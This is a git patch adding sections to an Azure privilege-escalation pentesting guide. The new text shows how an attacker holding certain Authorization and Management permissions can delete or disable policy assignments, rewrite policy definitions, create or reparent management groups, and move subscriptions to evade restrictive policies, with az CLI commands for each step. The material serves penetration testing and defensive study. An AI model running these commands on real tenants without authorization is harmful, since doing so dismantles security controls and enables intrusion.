From 55afbe81c4e0e0a0400d7f4fb892c0ae300566cd Mon Sep 17 00:00:00 2001 From: carlospolop Date: Fri, 28 Nov 2025 10:42:46 +0100 Subject: [PATCH] pe - azure --- .../az-authorization-privesc.md | 110 ++++++++++++++++++ 1 file changed, 110 insertions(+) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 70106f818..85e50f6fb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -81,6 +81,116 @@ az rest --method PUT \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete + +An attacker with the permission `Microsoft.Authorization/policyAssignments/write` or `Microsoft.Authorization/policyAssignments/delete` over a management group, subscription, or resource group can **modify or delete Azure policy assignments**, potentially **disabling security restrictions** that block specific operations. + +This allows access to resources or functionalities that were previously protected by the policy. + +**Delete a policy assignment:** + +```bash +az policy assignment delete \ + --name "" \ + --scope "/providers/Microsoft.Management/managementGroups/" +``` + +**Disable a policy assignment:** + +```bash +az policy assignment update \ + --name "" \ + --scope "/providers/Microsoft.Management/managementGroups/" \ + --enforcement-mode Disabled +``` + +**Verify the changes:** + +```bash +# List policy assignments +az policy assignment list \ + --scope "/providers/Microsoft.Management/managementGroups/" + +# Show specific policy assignment details +az policy assignment show \ + --name "" \ + --scope "/providers/Microsoft.Management/managementGroups/" +``` + +### Microsoft.Authorization/policyDefinitions/write + +An attacker with the permission `Microsoft.Authorization/policyDefinitions/write` can **modify Azure policy definitions**, changing the rules that control security restrictions across the environment. + +For example, a policy that limits the allowed regions for creating resources can be modified to allow any region, or the policy effect can be changed to make it ineffective. + +**Modify a policy definition:** + +```bash +az policy definition update \ + --name "" \ + --rules @updated-policy-rules.json +``` + +**Verify the changes:** + +```bash +az policy definition list --output table + +az policy definition show --name "" +``` + +### Microsoft.Management/managementGroups/write + +An attacker with the permission `Microsoft.Management/managementGroups/write` can **modify the hierarchical structure of management groups** or **create new management groups**, potentially evading restrictive policies applied at higher levels. + +For example, an attacker can create a new management group without restrictive policies and then move subscriptions to it. + +**Create a new management group:** + +```bash +az account management-group create \ + --name "yourMGname" \ + --display-name "yourMGDisplayName" +``` + +**Modify a management group hierarchy:** + +```bash +az account management-group update \ + --name "" \ + --parent "/providers/Microsoft.Management/managementGroups/" +``` + +**Verify the changes:** + +```bash +az account management-group list --output table + +az account management-group show \ + --name "" \ + --expand +``` + +### Microsoft.Management/managementGroups/subscriptions/write + +An attacker with the permission `Microsoft.Management/managementGroups/subscriptions/write` can **move subscriptions between management groups**, potentially **evading restrictive policies** by moving a subscription to a group with less restrictive or no policies. + +**Move a subscription to a different management group:** + +```bash +az account management-group subscription add \ + --name "" \ + --subscription "" +``` + +**Verify the changes:** + +```bash +az account management-group subscription show \ + --name "" \ + --subscription "" +``` + {{#include ../../../banners/hacktricks-training.md}}